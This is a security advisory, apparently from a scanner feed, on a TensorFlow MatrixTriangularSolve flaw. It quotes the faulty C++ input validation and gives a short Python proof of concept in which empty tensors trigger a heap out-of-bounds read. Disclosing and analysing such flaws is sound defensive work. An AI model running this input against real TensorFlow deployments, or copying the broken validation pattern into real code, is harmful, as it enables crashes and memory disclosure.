QID 982498

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

The implementation of [`MatrixTriangularSolve`](https://github.com/tensorflow/tensorflow/blob/8cae746d8449c7dda5298327353d68613f16e798/tensorflow/core/kernels/linalg/matrix_triangular_solve_op_impl.h#L160-L240) fails to terminate kernel execution if one validation condition fails:

```cc
void ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0,
const Tensor& in1) override {
OP_REQUIRES(
ctx, in0.dims() >= 2,
errors::InvalidArgument("In[0] ndims must be >= 2: ", in0.dims()));

OP_REQUIRES(
ctx, in1.dims() >= 2,
errors::InvalidArgument("In[0] ndims must be >= 2: ", in1.dims()));
}

void Compute(OpKernelContext* ctx) override {
const Tensor& in0 = ctx->input(0);
const Tensor& in1 = ctx->input(1);

ValidateInputTensors(ctx, in0, in1);

MatMulBCast bcast(in0.shape().dim_sizes(), in1.shape().dim_sizes());
...
}
```

Since `OP_REQUIRES` only sets `ctx->status()` to a non-OK value and calls `return`, this allows malicious attackers to trigger an out of bounds read:

```python
import tensorflow as tf
import numpy as np

matrix_array = np.array([])
matrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(1,0)),dtype=tf.float32)
rhs_array = np.array([])
rhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(0,1)),dtype=tf.float32)

tf.raw_ops.MatrixTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor,lower=False,adjoint=False)
```

As the two input tensors are empty, the `OP_REQUIRES` in `ValidateInputTensors` should fire and interrupt execution. However, given the implementation of `OP_REQUIRES`, after the `in0.dims() >= 2` fails, execution moves to the initialization of the `bcast` object. This initialization is done with invalid data and results in heap OOB read.